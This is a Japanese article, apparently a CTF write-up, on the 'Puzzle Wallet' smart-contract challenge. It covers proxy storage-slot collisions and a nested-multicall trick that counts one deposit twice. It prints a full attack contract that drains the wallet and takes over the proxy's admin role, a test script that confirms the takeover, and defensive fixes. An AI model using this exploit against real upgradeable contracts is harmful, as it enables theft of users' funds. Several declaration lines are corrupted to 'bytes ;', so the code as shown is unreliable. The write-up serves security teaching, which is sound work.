Skip to content
On this page

CTF課題「Puzzle Wallet」深度解析:代理コントラクトのストレージ衝突とマルチコール攻撃

背景紹介

イーサリアムブロックチェーン上で、DeFi(分散型金融)操作はしばしば高額なガス費用を伴います。複数のトランザクションのコストを削減するため、開発チームはトランザクションをバッチ処理できるスマートコントラクトウォレットを作成しました。このコントラクトはアップグレード可能で、脆弱性発見時に修正できるよう設計され、ホワイトリスト機構によって非承認ユーザーの使用を制限しています。

システムはプロキシパターンを採用しており、2つの重要な役割があります:

  • Admin:コントラクトロジックをアップグレードする権限を持つ
  • Owner:ホワイトリストのアドレスを管理

しかし、この一見安全そうなシステムには重大な設計上の欠陥があり、攻撃者がプロキシコントラクトの管理者権限を奪取できてしまいます。本稿では脆弱性の原理、攻撃手法を詳述し、技術的な解決策を提示します。

技術的アーキテクチャ分析

プロキシパターンとストレージレイアウト

システムは2つの主要コントラクトで構成されています:

  1. PuzzleProxy:プロキシコントラクト、UpgradeableProxyを基底クラスとして使用
  2. PuzzleWallet:ロジックコントラクト、ウォレットのコア機能を実装

問題の核心はストレージ変数のレイアウト衝突です。両コントラクトのストレージレイアウトを比較します:

solidity
// PuzzleProxy ストレージレイアウト
slot0: address public pendingAdmin
slot1: address public admin

// PuzzleWallet ストレージレイアウト  
slot0: address public owner
slot1: uint256 public maxBalance
slot2: mapping(address => bool) public whitelisted
slot3: mapping(address => uint256) public balances

プロキシコントラクトがdelegatecallでロジックコントラクトを呼ぶ場合、両者は同一のストレージ空間を共有します。つまり:

  • pendingAdmin(slot0)とowner(slot0)が同じストレージスロットを共有
  • admin(slot1)とmaxBalance(slot1)が同じスロットを共有

delegatecall の挙動特性

delegatecallを理解することが、この課題を攻略する鍵です:

solidity
// delegatecall の特殊挙動
(bool success,) = address(this).delegatecall(data[i]);

delegatecallの特性:

  1. 呼び出し元(プロキシ)のコンテキストで被呼び出し側(ロジック)のコードを実行
  2. 呼び出し元のストレージ空間を使用
  3. msg.sendermsg.valueは変わらない
  4. 呼び出し元に該当する関数セレクタが存在する必要がある

脆弱性分析

脆弱性1:ストレージレイアウト衝突

ストレージレイアウトの不一致により、攻撃者はロジックコントラクトの変数操作でプロキシの変数に影響を与えられます:

solidity
// owner を設定することで pendingAdmin に影響
function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");  // owner は pendingAdmin に対応
    whitelisted[addr] = true;
}

// maxBalance を設定することで admin に影響
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;  // maxBalance は admin に対応
}

脆弱性2:multicall 関数の再入可能性

multicall関数はバッチ処理を可能にしますが、設計に欠陥があります:

solidity
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(_data, 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            depositCalled = true;
        }
        (bool success,) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}

脆弱性のポイント:

  1. 直接呼び出されるdepositのみチェック、ネスト呼び出しは無視
  2. delegatecallで再帰的にmulticallを呼ぶことで単一呼び出し制限を回避可能

攻撃手順詳細

ステップ1:pendingAdminになる

攻撃者はまずproposeNewAdminを呼びます:

solidity
// 攻撃コントラクトの最初のステップ
target.proposeNewAdmin(address(this));

ストレージ衝突により、実際にはPuzzleWallet.ownerが設定され、攻撃者がownerになります。

ステップ2:自身をホワイトリストに追加

ownerとして、攻撃者はaddToWhitelistを呼び出せます:

solidity
target.addToWhitelist(address(this));

ステップ3:multicallで二重入金

攻撃の核心部分。巧妙に呼び出しを構成して残高操作:

solidity
// 呼び出しデータ構築
bytes ;
depositCalldata[0] = abi.encodeWithSelector(target.deposit.selector);

bytes ;
multicallCalldata[0] = abi.encodeWithSelector(target.multicall.selector, depositCalldata);
multicallCalldata[1] = depositCalldata[0];

// 攻撃実行
target.multicall{value: 0.001 ether}(multicallCalldata);

呼び出しの解析:

  1. 最初のmulticall呼び出しで2つの呼び出しを含む
  2. 1つ目はネストされたmulticall(引数はdeposit
  3. 2つ目は直接deposit
  4. ネスト内のdepositCalledはローカル変数で、外側には影響しない
  5. 結果:0.001 ETHが2回分として計上され、残高は0.002 ETHに

ステップ4:二重資金を引き出す

solidity
target.execute(msg.sender, 0.002 ether, "");

残高が0.002 ETHに操作され、実際のコントラクト残高は0.001 ETHしかなくても、全額が引き出されます。

ステップ5:adminになる

最後にmaxBalanceを設定してadminを奪取:

solidity
target.setMaxBalance(uint256(uint160(msg.sender)));

残高が0になったため条件を満たし、maxBalanceが攻撃者アドレスのuint256表現に設定され、adminも同時に設定されます。

完全な攻撃コントラクト

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

interface IPuzzleProxy {
    function pendingAdmin() external view returns (address);
    function admin() external view returns (address);
    function proposeNewAdmin(address) external;
    function approveNewAdmin(address) external;
    function upgradeTo(address) external;
}

interface IPuzzleWallet is IPuzzleProxy {
    function owner() external view returns (address);
    function maxBalance() external view returns (uint256);
    function whitelisted(address) external view returns (bool);
    function balances(address) external view returns (uint256);
    function init(uint256) external;
    function setMaxBalance(uint256) external;
    function addToWhitelist(address) external;
    function deposit() external payable;
    function execute(address, uint256, bytes calldata) external payable;
    function multicall(bytes[] calldata) external payable;
}

contract Hack {
    IPuzzleWallet private immutable target;
    
    constructor(address _proxy) payable {
        require(msg.value == 0.001 ether, "Need exactly 0.001 ETH");
        
        target = IPuzzleWallet(_proxy);
        
        // ステップ1:pendingAdmin/ownerになる
        target.proposeNewAdmin(address(this));
        
        // ステップ2:自身をホワイトリストに追加
        target.addToWhitelist(address(this));
        
        // ステップ3:マルチコールで二重入金
        bytes ;
        depositCalldata[0] = abi.encodeWithSelector(target.deposit.selector);
        
        bytes ;
        multicallCalldata[0] = abi.encodeWithSelector(
            target.multicall.selector, 
            depositCalldata
        );
        multicallCalldata[1] = depositCalldata[0];
        
        target.multicall{value: 0.001 ether}(multicallCalldata);
        
        // ステップ4:二重資金を引き出す
        target.execute(msg.sender, 0.002 ether, "");
        
        // ステップ5:adminになる
        target.setMaxBalance(uint256(uint160(msg.sender)));
        
        require(target.admin() == msg.sender, "Attack failed!");
    }
}

テストスクリプト

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { PuzzleWallet, PuzzleProxy, Hack } from "../typechain-types";

describe("PuzzleWallet Attack Test", function () {
  let puzzleProxy: PuzzleProxy;
  let puzzleWallet: PuzzleWallet;
  let hack: Hack;
  let attacker: any;
  
  const DEPOSIT_VALUE = ethers.parseEther("0.001");
  
  beforeEach(async function () {
    [attacker] = await ethers.getSigners();
    
    const PuzzleWalletFactory = await ethers.getContractFactory("PuzzleWallet");
    puzzleWallet = await PuzzleWalletFactory.deploy();
    await puzzleWallet.waitForDeployment();
    
    const initData = puzzleWallet.interface.encodeFunctionData("init", [DEPOSIT_VALUE]);
    const PuzzleProxyFactory = await ethers.getContractFactory("PuzzleProxy");
    puzzleProxy = await PuzzleProxyFactory.deploy(
      attacker.address,
      await puzzleWallet.getAddress(),
      initData
    );
    await puzzleProxy.waitForDeployment();
    
    await attacker.sendTransaction({
      to: await puzzleProxy.getAddress(),
      value: DEPOSIT_VALUE
    });
  });
  
  it("代理コントラクトの管理者権限を奪取できる", async function () {
    const HackFactory = await ethers.getContractFactory("Hack");
    hack = await HackFactory.deploy(
      await puzzleProxy.getAddress(),
      { value: DEPOSIT_VALUE }
    );
    await hack.waitForDeployment();
    
    const adminAfter = await puzzleProxy.admin();
    expect(adminAfter).to.equal(attacker.address);
    
    const contractBalance = await ethers.provider.getBalance(
      await puzzleProxy.getAddress()
    );
    expect(contractBalance).to.equal(0);
  });
  
  it("ストレージ衝突を検証", async function () {
    const proxyAdmin = await puzzleProxy.admin();
    const walletMaxBalance = await puzzleWallet.maxBalance();
    
    const adminSlot = await ethers.provider.getStorage(
      await puzzleProxy.getAddress(),
      1
    );
    
    expect(adminSlot).to.equal(
      ethers.toBeHex(walletMaxBalance, 32)
    );
  });
});

防御策とベストプラクティス

1. 非構造化ストレージの使用

ストレージ衝突を避ける最善策:

solidity
library StorageSlot {
    struct AddressSlot {
        address value;
    }
    
    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r.slot := slot
        }
    }
}

contract SafeProxy {
    bytes32 private constant ADMIN_SLOT = keccak256("proxy.admin");
    bytes32 private constant IMPLEMENTATION_SLOT = keccak256("proxy.implementation");
    
    function _getAdmin() internal view returns (address) {
        return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
    }
    
    function _setAdmin(address newAdmin) internal {
        StorageSlot.getAddressSlot(ADMIN_SLOT).value = newAdmin;
    }
}

2. トランスペアレントプロキシの使用

管理者と一般ユーザーの呼び出しを分離:

solidity
contract TransparentUpgradeableProxy {
    address private immutable _admin;
    
    modifier ifAdmin() {
        if (msg.sender == _admin) {
            _;
        } else {
            _fallback();
        }
    }
    
    function upgradeTo(address newImplementation) external ifAdmin {
        _upgradeTo(newImplementation);
    }
}

3. multicall関数の安全性強化

再入可能性を防ぐ改良例:

solidity
function safeMulticall(bytes[] calldata data) external payable onlyWhitelisted {
    uint256 initialBalance = address(this).balance;
    
    for (uint256 i = 0; i < data.length; i++) {
        (bool success, bytes memory result) = address(this).call(data[i]);
        require(success, "Call failed");
        
        require(
            address(this).balance >= initialBalance,
            "Balance cannot decrease during multicall"
        );
    }
}

まとめ

Puzzle Wallet CTF課題は、プロキシパターンにおけるストレージレイアウト衝突の重大なリスクを示しています。攻撃者はdelegatecallの特性、ストレージ衝突、multicall関数の脆弱性を利用し、プロキシコントラクトの管理者権限を奪取できます。

重要な教訓:

  1. ストレージの隔離は必須:プロキシとロジックは互換性のあるレイアウトを使用、または完全に分離
  2. delegatecallの注意深い使用:コンテキスト維持特性を理解し、予期せぬ動作を避ける
  3. 再入可能性の防御:単純なバッチ関数でも再入攻撃を考慮
  4. 徹底的なテスト:特に資金操作関数は境界条件テストを厳密に

このような脆弱性分析を通じて、安全なアップグレード可能コントラクトシステムの設計が可能となり、ユーザー資産を守ることができます。

Built with AiAda